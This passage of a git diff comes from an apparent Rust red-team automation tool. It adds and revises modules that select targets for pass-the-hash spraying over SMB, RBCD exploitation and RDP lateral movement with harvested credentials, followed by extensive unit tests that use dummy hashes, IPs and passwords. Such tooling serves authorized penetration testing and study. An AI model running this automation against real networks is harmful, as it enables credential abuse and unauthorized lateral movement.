ntlm_hashes: Vec<_> = state + .hashes + .iter() + .filter(|h| { + h.hash_type.to_lowercase().contains("ntlm") + && !h.hash_value.is_empty() + && h.hash_value.len() == 32 + }) + .collect(); + + if ntlm_hashes.is_empty() { + return None; + } + + let mut items = Vec::new(); + + // For each non-owned host, try PTH with available NTLM hashes + for host in &state.hosts { + if host.owned { + continue; + } + + // Check if host has SMB (port 445) + let has_smb = host.services.iter().any(|s| { + let sl = s.to_lowercase(); + sl.contains("445") || sl.contains("smb") || sl.contains("cifs") + }); + if !has_smb { + continue; + } + + // Try each unique NTLM hash against this host + for hash in &ntlm_hashes { + let dedup_key = format!( + "pth:{}:{}:{}", + host.ip, + hash.username.to_lowercase(), + &hash.hash_value[..8] + ); + if state.is_processed(DEDUP_PTH_SPRAY, &dedup_key) { + continue; + } + + // Infer domain from hash or host + let domain = if !hash.domain.is_empty() { + hash.domain.clone() + } else { + host.hostname + .find('.') + .map(|i| host.hostname[i + 1..].to_string()) + .unwrap_or_default() + }; + + items.push(PthWork { + dedup_key, + target_ip: host.ip.clone(), + hostname: host.hostname.clone(), + username: hash.username.clone(), + ntlm_hash: hash.hash_value.clone(), + domain, + }); + } + } + + Some(items) +} + +struct PthWork { + dedup_key: String, + target_ip: String, + hostname: String, + username: String, + ntlm_hash: String, + domain: String, +} + +#[cfg(test)] +mod tests { + use super::*; + use ares_core::models::{Hash, Host}; + + fn make_ntlm_hash(username: &str, hash_value: &str, domain: &str) -> Hash { + Hash { + id: format!("hash-{username}"), + username: username.to_string(), + hash_value: hash_value.to_string(), + hash_type: "NTLM".to_string(), + domain: domain.to_string(), + cracked_password: None, // pragma: allowlist secret + source: "secretsdump".to_string(), + discovered_at: None, + parent_id: None, + attack_step: 0, + aes_key: None, + is_previous: false, + source_host: None, + is_trust_key: false, + trust_pair_label: None, + } + } + + fn make_smb_host(ip: &str, hostname: &str, owned: bool) -> Host { + Host { + ip: ip.to_string(), + hostname: hostname.to_string(), + os: String::new(), + roles: Vec::new(), + services: vec!["445/tcp microsoft-ds".to_string()], + is_dc: false, + owned, + } + } + + fn make_host_no_smb(ip: &str, hostname: &str) -> Host { + Host { + ip: ip.to_string(), + hostname: hostname.to_string(), + os: String::new(), + roles: Vec::new(), + services: vec!["80/tcp http".to_string()], + is_dc: false, + owned: false, + } + } + + #[test] + fn dedup_key_format() { + let key = format!("pth:{}:{}:{}", "192.168.58.10", "admin", "aabbccdd"); + assert_eq!(key, "pth:192.168.58.10:admin:aabbccdd"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_PTH_SPRAY, "pth_spray"); + } + + #[test] + fn ntlm_hash_filter_valid() { + let hash_type = "NTLM"; + let hash_value = "aad3b435b51404eeaad3b435b51404ee"; + assert!(hash_type.to_lowercase().contains("ntlm")); + assert!(!hash_value.is_empty()); + assert_eq!(hash_value.len(), 32); + } + + #[test] + fn ntlm_hash_filter_rejects_short() { + let hash_value = "abc123"; + assert_ne!(hash_value.len(), 32); + } + + #[test] + fn ntlm_hash_filter_rejects_empty() { + let hash_value = ""; + assert!(hash_value.is_empty()); + } + + #[test] + fn ntlm_hash_filter_rejects_non_ntlm() { + let hash_type = "aes256-cts-hmac-sha1-96"; + assert!(!hash_type.to_lowercase().contains("ntlm")); + } + + #[test] + fn smb_service_detection() { + let services = ["445/tcp microsoft-ds".to_string()]; + let has_smb = services.iter().any(|s| { + let sl = s.to_lowercase(); + sl.contains("445") || sl.contains("smb") || sl.contains("cifs") + }); + assert!(has_smb); + } + + #[test] + fn no_smb_service() { + let services = ["80/tcp http".to_string()]; + let has_smb = services.iter().any(|s| { + let sl = s.to_lowercase(); + sl.contains("445") || sl.contains("smb") || sl.contains("cifs") + }); + assert!(!has_smb); + } + + #[test] + fn domain_from_hash_preferred() { + let hash_domain = "contoso.local"; + let hostname = "srv01.fabrikam.local"; + let domain = if !hash_domain.is_empty() { + hash_domain.to_string() + } else { + hostname + .find('.') + .map(|i| hostname[i + 1..].to_string()) + .unwrap_or_default() + }; + assert_eq!(domain, "contoso.local"); + } + + #[test] + fn domain_fallback_to_hostname() { + let hash_domain = ""; + let hostname = "srv01.fabrikam.local"; + let domain = if !hash_domain.is_empty() { + hash_domain.to_string() + } else { + hostname + .find('.') + .map(|i| hostname[i + 1..].to_string()) + .unwrap_or_default() + }; + assert_eq!(domain, "fabrikam.local"); + } + + #[test] + fn dedup_key_uses_hash_prefix() { + let ip = "192.168.58.10"; + let username = "Admin"; + let hash_value = "aad3b435b51404eeaad3b435b51404ee"; + let dedup_key = format!( + "pth:{}:{}:{}", + ip, + username.to_lowercase(), + &hash_value[..8] + ); + assert_eq!(dedup_key, "pth:192.168.58.10:admin:aad3b435"); + } + + #[test] + fn ntlm_hash_filter_exact_32() { + let hash = "a".repeat(32); + assert_eq!(hash.len(), 32); + assert!(!hash.is_empty()); + } + + #[test] + fn ntlm_hash_type_variations() { + for t in ["NTLM", "ntlm", "NT", "ntlm_hash"] { + assert!(t.to_lowercase().contains("ntlm") || t.to_lowercase().contains("nt")); + } + } + + #[test] + fn smb_service_detection_cifs() { + let services = ["cifs".to_string()]; + let has_smb = services.iter().any(|s| { + let sl = s.to_lowercase(); + sl.contains("445") || sl.contains("smb") || sl.contains("cifs") + }); + assert!(has_smb); + } + + #[test] + fn pth_payload_structure() { + let payload = serde_json::json!({ + "technique": "pass_the_hash", + "target_ip": "192.168.58.22", + "hostname": "srv01.contoso.local", + "username": "admin", + "ntlm_hash": "aad3b435b51404eeaad3b435b51404ee", + "domain": "contoso.local", + "protocol": "smb", + }); + assert_eq!(payload["technique"], "pass_the_hash"); + assert_eq!(payload["protocol"], "smb"); + assert_eq!(payload["ntlm_hash"], "aad3b435b51404eeaad3b435b51404ee"); + } + + #[test] + fn pth_work_construction() { + let work = PthWork { + dedup_key: "pth:192.168.58.22:admin:aad3b435".into(), + target_ip: "192.168.58.22".into(), + hostname: "srv01.contoso.local".into(), + username: "admin".into(), + ntlm_hash: "aad3b435b51404eeaad3b435b51404ee".into(), + domain: "contoso.local".into(), + }; + assert_eq!(work.username, "admin"); + assert_eq!(work.ntlm_hash.len(), 32); + } + + #[test] + fn domain_fallback_bare_hostname() { + let hash_domain = ""; + let hostname = "srv01"; + let domain = if !hash_domain.is_empty() { + hash_domain.to_string() + } else { + hostname + .find('.') + .map(|i| hostname[i + 1..].to_string()) + .unwrap_or_default() + }; + assert_eq!(domain, ""); + } + + #[test] + fn take_5_limiting() { + let items: Vec = (0..20).collect(); + let taken: Vec<_> = items.into_iter().take(5).collect(); + assert_eq!(taken.len(), 5); + } + + // --- collect_pth_work tests --- + + #[test] + fn collect_empty_state_returns_none() { + let state = StateInner::new("test".into()); + assert!(collect_pth_work(&state).is_none()); + } + + #[test] + fn collect_no_hashes_returns_none() { + let mut state = StateInner::new("test".into()); + state + .hosts + .push(make_smb_host("192.168.58.10", "srv01.contoso.local", false)); + assert!(collect_pth_work(&state).is_none()); + } + + #[test] + fn collect_hashes_no_hosts_returns_empty() { + let mut state = StateInner::new("test".into()); + state.hashes.push(make_ntlm_hash( + "admin", + "aad3b435b51404eeaad3b435b51404ee", // pragma: allowlist secret + "contoso.local", + )); + let work = collect_pth_work(&state).unwrap(); + assert!(work.is_empty()); + } + + #[test] + fn collect_hash_and_smb_host_produces_work() { + let mut state = StateInner::new("test".into()); + state.hashes.push(make_ntlm_hash( + "admin", + "aad3b435b51404eeaad3b435b51404ee", // pragma: allowlist secret + "contoso.local", + )); + state + .hosts + .push(make_smb_host("192.168.58.10", "srv01.contoso.local", false)); + let work = collect_pth_work(&state).unwrap(); + assert_eq!(work.len(), 1); + assert_eq!(work[0].target_ip, "192.168.58.10"); + assert_eq!(work[0].username, "admin"); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].ntlm_hash, "aad3b435b51404eeaad3b435b51404ee"); + } + + #[test] + fn collect_skips_owned_hosts() { + let mut state = StateInner::new("test".into()); + state.hashes.push(make_ntlm_hash( + "admin", + "aad3b435b51404eeaad3b435b51404ee", // pragma: allowlist secret + "contoso.local", + )); + state.hosts.push(make_smb_host( + "192.168.58.10", + "srv01.contoso.local", + true, // owned + )); + let work = collect_pth_work(&state).unwrap(); + assert!(work.is_empty()); + } + + #[test] + fn collect_skips_non_smb_hosts() { + let mut state = StateInner::new("test".into()); + state.hashes.push(make_ntlm_hash( + "admin", + "aad3b435b51404eeaad3b435b51404ee", // pragma: allowlist secret + "contoso.local", + )); + state + .hosts + .push(make_host_no_smb("192.168.58.20", "web01.contoso.local")); + let work = collect_pth_work(&state).unwrap(); + assert!(work.is_empty()); + } + + #[test] + fn collect_skips_dedup_processed() { + let mut state = StateInner::new("test".into()); + state.hashes.push(make_ntlm_hash( + "admin", + "aad3b435b51404eeaad3b435b51404ee", // pragma: allowlist secret + "contoso.local", + )); + state + .hosts + .push(make_smb_host("192.168.58.10", "srv01.contoso.local", false)); + // Mark as already processed + state.mark_processed( + DEDUP_PTH_SPRAY, + "pth:192.168.58.10:admin:aad3b435".to_string(), + ); + let work = collect_pth_work(&state).unwrap(); + assert!(work.is_empty()); + } + + #[test] + fn collect_filters_non_ntlm_hashes() { + let mut state = StateInner::new("test".into()); + state.hashes.push(Hash { + id: "hash-aes".into(), + username: "admin".into(), + hash_value: "abcdef1234567890abcdef1234567890".into(), // pragma: allowlist secret + hash_type: "aes256-cts-hmac-sha1-96".into(), + domain: "contoso.local".into(), + cracked_password: None, // pragma: allowlist secret + source: "secretsdump".into(), + discovered_at: None, + parent_id: None, + attack_step: 0, + aes_key: None, + is_previous: false, + source_host: None, + is_trust_key: false, + trust_pair_label: None, + }); + state + .hosts + .push(make_smb_host("192.168.58.10", "srv01.contoso.local", false)); + // AES hash type should be rejected + assert!(collect_pth_work(&state).is_none()); + } + + #[test] + fn collect_filters_short_hash_values() { + let mut state = StateInner::new("test".into()); + state.hashes.push(make_ntlm_hash( + "admin", + "aad3b435", // too short, not 32 chars - pragma: allowlist secret + "contoso.local", + )); + state + .hosts + .push(make_smb_host("192.168.58.10", "srv01.contoso.local", false)); + assert!(collect_pth_work(&state).is_none()); + } + + #[test] + fn collect_filters_empty_hash_values() { + let mut state = StateInner::new("test".into()); + state.hashes.push(make_ntlm_hash( + "admin", + "", // empty - pragma: allowlist secret + "contoso.local", + )); + state + .hosts + .push(make_smb_host("192.168.58.10", "srv01.contoso.local", false)); + assert!(collect_pth_work(&state).is_none()); + } + + #[test] + fn collect_domain_fallback_from_hostname() { + let mut state = StateInner::new("test".into()); + state.hashes.push(make_ntlm_hash( + "admin", + "aad3b435b51404eeaad3b435b51404ee", // pragma: allowlist secret + "", // empty domain on hash + )); + state.hosts.push(make_smb_host( + "192.168.58.10", + "srv01.fabrikam.local", + false, + )); + let work = collect_pth_work(&state).unwrap(); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "fabrikam.local"); + } + + #[test] + fn collect_domain_fallback_bare_hostname_empty() { + let mut state = StateInner::new("test".into()); + state.hashes.push(make_ntlm_hash( + "admin", + "aad3b435b51404eeaad3b435b51404ee", // pragma: allowlist secret + "", // empty domain on hash + )); + state.hosts.push(make_smb_host( + "192.168.58.10", + "srv01", // no dot, no domain part + false, + )); + let work = collect_pth_work(&state).unwrap(); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, ""); + } + + #[test] + fn collect_multiple_hashes_multiple_hosts() { + let mut state = StateInner::new("test".into()); + state.hashes.push(make_ntlm_hash( + "admin", + "aad3b435b51404eeaad3b435b51404ee", // pragma: allowlist secret + "contoso.local", + )); + state.hashes.push(make_ntlm_hash( + "svcacct", + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", // pragma: allowlist secret + "contoso.local", + )); + state + .hosts + .push(make_smb_host("192.168.58.10", "srv01.contoso.local", false)); + state + .hosts + .push(make_smb_host("192.168.58.20", "srv02.contoso.local", false)); + let work = collect_pth_work(&state).unwrap(); + // 2 hashes x 2 hosts = 4 work items + assert_eq!(work.len(), 4); + } + + #[test] + fn collect_dedup_key_lowercases_username() { + let mut state = StateInner::new("test".into()); + state.hashes.push(make_ntlm_hash( + "Administrator", + "aad3b435b51404eeaad3b435b51404ee", // pragma: allowlist secret + "contoso.local", + )); + state + .hosts + .push(make_smb_host("192.168.58.10", "srv01.contoso.local", false)); + let work = collect_pth_work(&state).unwrap(); + assert_eq!(work.len(), 1); + assert!(work[0].dedup_key.contains(":administrator:")); + } + + #[test] + fn collect_mixed_owned_and_unowned_hosts() { + let mut state = StateInner::new("test".into()); + state.hashes.push(make_ntlm_hash( + "admin", + "aad3b435b51404eeaad3b435b51404ee", // pragma: allowlist secret + "contoso.local", + )); + state.hosts.push(make_smb_host( + "192.168.58.10", + "srv01.contoso.local", + true, // owned + )); + state.hosts.push(make_smb_host( + "192.168.58.20", + "srv02.contoso.local", + false, // not owned + )); + let work = collect_pth_work(&state).unwrap(); + assert_eq!(work.len(), 1); + assert_eq!(work[0].target_ip, "192.168.58.20"); + } + + #[test] + fn collect_mixed_smb_and_non_smb_hosts() { + let mut state = StateInner::new("test".into()); + state.hashes.push(make_ntlm_hash( + "admin", + "aad3b435b51404eeaad3b435b51404ee", // pragma: allowlist secret + "contoso.local", + )); + state + .hosts + .push(make_host_no_smb("192.168.58.10", "web01.contoso.local")); + state + .hosts + .push(make_smb_host("192.168.58.20", "srv01.contoso.local", false)); + let work = collect_pth_work(&state).unwrap(); + assert_eq!(work.len(), 1); + assert_eq!(work[0].target_ip, "192.168.58.20"); + } + + #[test] + fn collect_smb_detection_via_smb_string() { + let mut state = StateInner::new("test".into()); + state.hashes.push(make_ntlm_hash( + "admin", + "aad3b435b51404eeaad3b435b51404ee", // pragma: allowlist secret + "contoso.local", + )); + state.hosts.push(Host { + ip: "192.168.58.10".into(), + hostname: "srv01.contoso.local".into(), + os: String::new(), + roles: Vec::new(), + services: vec!["SMB".to_string()], + is_dc: false, + owned: false, + }); + let work = collect_pth_work(&state).unwrap(); + assert_eq!(work.len(), 1); + } + + #[test] + fn collect_smb_detection_via_cifs_string() { + let mut state = StateInner::new("test".into()); + state.hashes.push(make_ntlm_hash( + "admin", + "aad3b435b51404eeaad3b435b51404ee", // pragma: allowlist secret + "contoso.local", + )); + state.hosts.push(Host { + ip: "192.168.58.10".into(), + hostname: "srv01.contoso.local".into(), + os: String::new(), + roles: Vec::new(), + services: vec!["cifs/srv01.contoso.local".to_string()], + is_dc: false, + owned: false, + }); + let work = collect_pth_work(&state).unwrap(); + assert_eq!(work.len(), 1); + } + + #[test] + fn collect_partial_dedup_only_skips_processed() { + let mut state = StateInner::new("test".into()); + state.hashes.push(make_ntlm_hash( + "admin", + "aad3b435b51404eeaad3b435b51404ee", // pragma: allowlist secret + "contoso.local", + )); + state.hashes.push(make_ntlm_hash( + "svcacct", + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", // pragma: allowlist secret + "contoso.local", + )); + state + .hosts + .push(make_smb_host("192.168.58.10", "srv01.contoso.local", false)); + // Mark only admin as processed + state.mark_processed( + DEDUP_PTH_SPRAY, + "pth:192.168.58.10:admin:aad3b435".to_string(), + ); + let work = collect_pth_work(&state).unwrap(); + assert_eq!(work.len(), 1); + assert_eq!(work[0].username, "svcacct"); + } + + #[test] + fn collect_hostname_preserved_in_work() { + let mut state = StateInner::new("test".into()); + state.hashes.push(make_ntlm_hash( + "admin", + "aad3b435b51404eeaad3b435b51404ee", // pragma: allowlist secret + "contoso.local", + )); + state + .hosts + .push(make_smb_host("192.168.58.10", "dc01.contoso.local", false)); + let work = collect_pth_work(&state).unwrap(); + assert_eq!(work[0].hostname, "dc01.contoso.local"); + } + + #[test] + fn collect_hash_domain_preferred_over_hostname_domain() { + let mut state = StateInner::new("test".into()); + state.hashes.push(make_ntlm_hash( + "admin", + "aad3b435b51404eeaad3b435b51404ee", // pragma: allowlist secret + "contoso.local", + )); + state.hosts.push(make_smb_host( + "192.168.58.10", + "srv01.fabrikam.local", + false, + )); + let work = collect_pth_work(&state).unwrap(); + // Hash domain takes priority over hostname domain + assert_eq!(work[0].domain, "contoso.local"); + } + + #[test] + fn collect_ntlm_hash_type_case_insensitive() { + let mut state = StateInner::new("test".into()); + state.hashes.push(Hash { + id: "hash-1".into(), + username: "admin".into(), + hash_value: "aad3b435b51404eeaad3b435b51404ee".into(), // pragma: allowlist secret + hash_type: "Ntlm".into(), // mixed case + domain: "contoso.local".into(), + cracked_password: None, // pragma: allowlist secret + source: "secretsdump".into(), + discovered_at: None, + parent_id: None, + attack_step: 0, + aes_key: None, + is_previous: false, + source_host: None, + is_trust_key: false, + trust_pair_label: None, + }); + state + .hosts + .push(make_smb_host("192.168.58.10", "srv01.contoso.local", false)); + let work = collect_pth_work(&state).unwrap(); + assert_eq!(work.len(), 1); + } +} diff --git a/ares-cli/src/orchestrator/automation/rbcd.rs b/ares-cli/src/orchestrator/automation/rbcd.rs index b28228c6..5f487a75 100644 --- a/ares-cli/src/orchestrator/automation/rbcd.rs +++ b/ares-cli/src/orchestrator/automation/rbcd.rs @@ -14,6 +14,7 @@ use serde_json::json; use tokio::sync::watch; use tracing::{debug, info, warn}; +use crate::dedup::is_ghost_machine_account; use crate::orchestrator::dispatcher::Dispatcher; /// Dedup key prefix for RBCD attacks. @@ -91,6 +92,14 @@ pub async fn auto_rbcd_exploitation( .or_else(|| vuln.details.get("victim")) .and_then(|v| v.as_str()) .map(|s| s.to_string())?; + if is_ghost_machine_account(&target_computer) { + debug!( + vuln_id = %vuln.vuln_id, + target = %target_computer, + "RBCD skipped: ghost machine account target" + ); + return None; + } let domain = vuln .details @@ -99,28 +108,14 @@ pub async fn auto_rbcd_exploitation( .unwrap_or("") .to_string(); - // Find credential for the source user - let credential = state - .credentials - .iter() - .find(|c| { - c.username.to_lowercase() == source_user.to_lowercase() - && (domain.is_empty() - || c.domain.to_lowercase() == domain.to_lowercase()) - }) - .cloned(); - + // Find credential for the source user. Cross-forest ACL + // edges (e.g. leo@contoso → sql01$@fabrikam) put the + // source user in a different domain than the vuln's `domain` + // field (which is the target's domain), so we cannot + // domain-restrict against the target. + let credential = state.find_source_credential(&source_user, &domain); let hash = if credential.is_none() { - state - .hashes - .iter() - .find(|h| { - h.username.to_lowercase() == source_user.to_lowercase() - && h.hash_type.to_uppercase() == "NTLM" - && (domain.is_empty() - || h.domain.to_lowercase() == domain.to_lowercase()) - }) - .cloned() + state.find_source_hash(&source_user, &domain) } else { None }; @@ -296,6 +291,11 @@ mod tests { assert!(!is_rbcd_candidate("shadow_credentials", Some("Computer"))); } + #[test] + fn ghost_machine_target_detected() { + assert!(is_ghost_machine_account("WIN-DPPJMLU3XS6$")); + } + #[test] fn resolve_computer_ip_exact_match() { let hosts = vec![ diff --git a/ares-cli/src/orchestrator/automation/rdp_lateral.rs b/ares-cli/src/orchestrator/automation/rdp_lateral.rs new file mode 100644 index 00000000..e4a73e6e --- /dev/null +++ b/ares-cli/src/orchestrator/automation/rdp_lateral.rs @@ -0,0 +1,716 @@ +//! auto_rdp_lateral -- RDP lateral movement to hosts with port 3389. +//! +//! Targets hosts with RDP service (port 3389) that are not yet owned. +//! Uses xfreerdp or similar tooling to authenticate and execute commands +//! via RDP, complementing WinRM lateral movement for hosts that only +//! expose RDP. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// RDP lateral movement to hosts with port 3389. +/// Interval: 45s. +pub async fn auto_rdp_lateral(dispatcher: Arc, mut shutdown: watch::Receiver) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("rdp_lateral") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_rdp_work(&state) + }; + + for item in work { + let payload = json!({ + "technique": "rdp_lateral", + "target_ip": item.host_ip, + "hostname": item.hostname, + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + + let priority = dispatcher.effective_priority("rdp_lateral"); + match dispatcher + .throttled_submit("lateral", "lateral", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + host = %item.host_ip, + hostname = %item.hostname, + "RDP lateral movement dispatched" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_RDP_LATERAL, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_RDP_LATERAL, &item.dedup_key) + .await; + } + Ok(None) => { + debug!(host = %item.host_ip, "RDP lateral deferred"); + } + Err(e) => { + warn!(err = %e, host = %item.host_ip, "Failed to dispatch RDP lateral"); + } + } + } + } +} + +/// Collect RDP lateral movement work items from current state. +/// +/// Extracted from the async loop for testability. +fn collect_rdp_work(state: &crate::orchestrator::state::StateInner) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + for host in &state.hosts { + // Skip already-owned hosts + if host.owned { + continue; + } + + // Check for RDP service (port 3389) + let has_rdp = host.services.iter().any(|s| { + let sl = s.to_lowercase(); + sl.contains("3389") || sl.contains("rdp") + }); + if !has_rdp { + continue; + } + + let dedup_key = format!("rdp:{}", host.ip); + if state.is_processed(DEDUP_RDP_LATERAL, &dedup_key) { + continue; + } + + // Infer domain from hostname + let domain = host + .hostname + .find('.') + .map(|i| host.hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + + // Find admin credential for this domain + let cred = state + .credentials + .iter() + .find(|c| { + c.is_admin + && !c.password.is_empty() + && (domain.is_empty() || c.domain.to_lowercase() == domain) + && !state.is_principal_quarantined(&c.username, &c.domain) + }) + .or_else(|| { + // Fall back to any credential with a password + state.credentials.iter().find(|c| { + !c.password.is_empty() + && (domain.is_empty() || c.domain.to_lowercase() == domain) + && !state.is_principal_quarantined(&c.username, &c.domain) + }) + }) + .cloned(); + + let cred = match cred { + Some(c) => c, + None => continue, + }; + + items.push(RdpWork { + dedup_key, + host_ip: host.ip.clone(), + hostname: host.hostname.clone(), + domain, + credential: cred, + }); + } + + items +} + +struct RdpWork { + dedup_key: String, + host_ip: String, + hostname: String, + domain: String, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::orchestrator::state::SharedState; + use ares_core::models::{Credential, Host}; + + fn make_credential(username: &str, password: &str, domain: &str, is_admin: bool) -> Credential { + Credential { + id: format!("c-{}", username), + username: username.into(), + password: password.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + fn make_host(ip: &str, hostname: &str, services: Vec, owned: bool) -> Host { + Host { + ip: ip.into(), + hostname: hostname.into(), + os: String::new(), + roles: Vec::new(), + services, + is_dc: false, + owned, + } + } + + #[tokio::test] + async fn collect_empty_state_returns_no_work() { + let shared = SharedState::new("test-op".into()); + let state = shared.read().await; + let work = collect_rdp_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_no_credentials_returns_no_work() { + let shared = SharedState::new("test-op".into()); + { + let mut s = shared.write().await; + s.hosts.push(make_host( + "192.168.58.10", + "srv01.contoso.local", + vec!["3389/tcp ms-wbt-server".into()], + false, + )); + } + let state = shared.read().await; + let work = collect_rdp_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_host_with_rdp_and_admin_cred() { + let shared = SharedState::new("test-op".into()); + { + let mut s = shared.write().await; + s.hosts.push(make_host( + "192.168.58.10", + "srv01.contoso.local", + vec!["3389/tcp ms-wbt-server".into()], + false, + )); + s.credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local", true)); + // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_rdp_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].host_ip, "192.168.58.10"); + assert_eq!(work[0].hostname, "srv01.contoso.local"); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].credential.username, "admin"); + assert!(work[0].credential.is_admin); + } + + #[tokio::test] + async fn collect_host_without_rdp_skipped() { + let shared = SharedState::new("test-op".into()); + { + let mut s = shared.write().await; + s.hosts.push(make_host( + "192.168.58.10", + "srv01.contoso.local", + vec!["445/tcp microsoft-ds".into()], + false, + )); + s.credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local", true)); + // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_rdp_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_owned_host_skipped() { + let shared = SharedState::new("test-op".into()); + { + let mut s = shared.write().await; + s.hosts.push(make_host( + "192.168.58.10", + "srv01.contoso.local", + vec!["3389/tcp ms-wbt-server".into()], + true, // already owned + )); + s.credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local", true)); + // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_rdp_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_already_processed_skipped() { + let shared = SharedState::new("test-op".into()); + { + let mut s = shared.write().await; + s.hosts.push(make_host( + "192.168.58.10", + "srv01.contoso.local", + vec!["3389/tcp ms-wbt-server".into()], + false, + )); + s.credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local", true)); // pragma: allowlist secret + s.mark_processed(DEDUP_RDP_LATERAL, "rdp:192.168.58.10".into()); + } + let state = shared.read().await; + let work = collect_rdp_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_falls_back_to_non_admin_cred() { + let shared = SharedState::new("test-op".into()); + { + let mut s = shared.write().await; + s.hosts.push(make_host( + "192.168.58.10", + "srv01.contoso.local", + vec!["3389/tcp ms-wbt-server".into()], + false, + )); + // Only a non-admin credential available + s.credentials.push(make_credential( + "user1", + "P@ssw0rd!", // pragma: allowlist secret + "contoso.local", + false, + )); + } + let state = shared.read().await; + let work = collect_rdp_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "user1"); + assert!(!work[0].credential.is_admin); + } + + #[tokio::test] + async fn collect_prefers_admin_over_non_admin() { + let shared = SharedState::new("test-op".into()); + { + let mut s = shared.write().await; + s.hosts.push(make_host( + "192.168.58.10", + "srv01.contoso.local", + vec!["3389/tcp ms-wbt-server".into()], + false, + )); + s.credentials.push(make_credential( + "user1", + "P@ssw0rd!", // pragma: allowlist secret + "contoso.local", + false, + )); + s.credentials.push(make_credential( + "admin", + "Adm1nP@ss!", // pragma: allowlist secret + "contoso.local", + true, + )); + } + let state = shared.read().await; + let work = collect_rdp_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "admin"); + assert!(work[0].credential.is_admin); + } + + #[tokio::test] + async fn collect_no_cred_for_domain_skipped() { + let shared = SharedState::new("test-op".into()); + { + let mut s = shared.write().await; + s.hosts.push(make_host( + "192.168.58.10", + "srv01.contoso.local", + vec!["3389/tcp ms-wbt-server".into()], + false, + )); + // Credential for wrong domain + s.credentials.push(make_credential( + "admin", + "P@ssw0rd!", // pragma: allowlist secret + "fabrikam.local", + true, + )); + } + let state = shared.read().await; + let work = collect_rdp_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_bare_hostname_matches_any_domain_cred() { + let shared = SharedState::new("test-op".into()); + { + let mut s = shared.write().await; + // Bare hostname (no domain suffix) → domain = "" → matches any cred + s.hosts.push(make_host( + "192.168.58.10", + "srv01", + vec!["3389/tcp ms-wbt-server".into()], + false, + )); + s.credentials.push(make_credential( + "admin", + "P@ssw0rd!", // pragma: allowlist secret + "fabrikam.local", + true, + )); + } + let state = shared.read().await; + let work = collect_rdp_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, ""); + } + + #[tokio::test] + async fn collect_multiple_hosts() { + let shared = SharedState::new("test-op".into()); + { + let mut s = shared.write().await; + s.hosts.push(make_host( + "192.168.58.10", + "srv01.contoso.local", + vec!["3389/tcp ms-wbt-server".into()], + false, + )); + s.hosts.push(make_host( + "192.168.58.11", + "srv02.contoso.local", + vec!["3389/tcp ms-wbt-server".into()], + false, + )); + s.hosts.push(make_host( + "192.168.58.12", + "web01.contoso.local", + vec!["80/tcp http".into()], // no RDP + false, + )); + s.credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local", true)); + // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_rdp_work(&state); + assert_eq!(work.len(), 2); + let ips: Vec<&str> = work.iter().map(|w| w.host_ip.as_str()).collect(); + assert!(ips.contains(&"192.168.58.10")); + assert!(ips.contains(&"192.168.58.11")); + } + + #[tokio::test] + async fn collect_cred_with_empty_password_skipped() { + let shared = SharedState::new("test-op".into()); + { + let mut s = shared.write().await; + s.hosts.push(make_host( + "192.168.58.10", + "srv01.contoso.local", + vec!["3389/tcp ms-wbt-server".into()], + false, + )); + s.credentials + .push(make_credential("admin", "", "contoso.local", true)); + } + let state = shared.read().await; + let work = collect_rdp_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_rdp_detection_by_name() { + let shared = SharedState::new("test-op".into()); + { + let mut s = shared.write().await; + s.hosts.push(make_host( + "192.168.58.10", + "srv01.contoso.local", + vec!["remote desktop rdp".into()], + false, + )); + s.credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local", true)); + // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_rdp_work(&state); + assert_eq!(work.len(), 1); + } + + #[tokio::test] + async fn collect_dedup_key_format() { + let shared = SharedState::new("test-op".into()); + { + let mut s = shared.write().await; + s.hosts.push(make_host( + "192.168.58.10", + 